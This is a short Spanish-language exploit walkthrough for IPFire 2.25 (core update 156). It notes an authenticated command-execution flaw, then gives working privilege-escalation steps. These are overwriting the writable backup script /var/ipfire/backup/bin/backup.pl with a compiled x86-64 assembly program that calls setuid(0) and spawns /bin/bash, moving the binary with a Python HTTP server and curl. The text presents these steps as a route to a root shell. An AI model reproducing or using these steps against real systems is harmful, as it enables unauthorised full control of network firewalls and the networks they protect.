Ipfire 2-25 (core update 156) rce autenticado

• el sistema ejecuta un comando al instalar cualquier paquete

• el sistema obtiene 7zip directamente desde el html

• y comprueba el directorio tmp

• versión 2.25 - core update 156

• ipfire permite ejecutar comandos arbitrarios del sistema operativo como nobody después del inicio de sesión

¡Sé root!

• comprueba los binarios suid

• el programa de backup ejecuta otro script. /var/ipfire/backup/bin/backup.pl (es un script bash y los permisos tienen buena pinta)

• intenta escribir en el script bash. (Sin errores. ¡BIEN!)

• intenta ejecutar bash

• sí. podemos ejecutarlo pero tiene pocos privilegios. debemos provocar setuid(0)!
• guarda esto y ejecuta alti name.asm q
• alti es mi propio programa de comprobación de compilación en el repositorio soo_deep.

bits 64
section .data
  string db "/bin/bash",0x00
  olmadis db "basarisiz.",0x0a,0x00
  olmadil equ $-olmadis
section .text
  global main
main:
  mov rax,105
  mov rdi,0
  syscall
  cmp rax,0
  je getbash

  mov rax,1
  mov rdi,1
  mov rsi,olmadis
  mov rdx,olmadil
  syscall

  mov rax,60
  xor rdi,rdi
  syscall

getbash:
  mov rax,59
  mov rdi,string
  mov rsi,0
  mov rdx,0
  syscall

• y escribe el nuevo programa en /var/ipfire/backup/bin/backup.pl. (podemos usar un servidor http de python y curl para escribirlo)

• ¡y disfruta de la shell root!